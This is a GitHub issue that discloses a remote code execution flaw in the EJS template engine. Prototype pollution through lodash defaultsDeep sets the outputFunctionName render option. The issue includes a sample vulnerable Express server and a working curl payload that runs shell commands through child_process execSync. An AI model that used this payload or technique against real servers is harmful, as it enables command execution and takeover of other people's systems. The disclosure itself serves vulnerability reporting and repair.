Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Unrestricted render option may lead to a RCE vulnerability #451

@evi0s

Description

@evi0s

By passing an unrestricted render option can lead to a RCE vulnerability.

If attacker can control server render option eg: outputFunctionName, that can inject evil code to the render engine.

There is a simply way to control that option by using prototype pollution.

For a short express application example

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());

app.set('views', './');
app.set('view engine', 'ejs');

app.get("/", (req, res) => {
    res.render('index');
});

app.post("/", (req, res) => {
    let data = {};
    let input = JSON.parse(req.body.content);
    lodash.defaultsDeep(data, input);
    res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
    console.log('Listening on port %d', server.address().port);
});

By default outputFunctionName is undefined, but after the attacker post the following data:

curl 127.0.0.1:8086 -v --data 'content={"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}}}'
curl 127.0.0.1:8086 -v # Trigger render and getshell

Due to prototype pollution, the Object now has attribute outputFunctionName which the attcker controls, then inject to variable prepended and getshell. At ejs.js L575

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // following code has been commented'

I don't think this would be easy to inject that code, but if attacker can use other security vulnerability or developer's mistakes at the same time, it would be a very serious problem.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions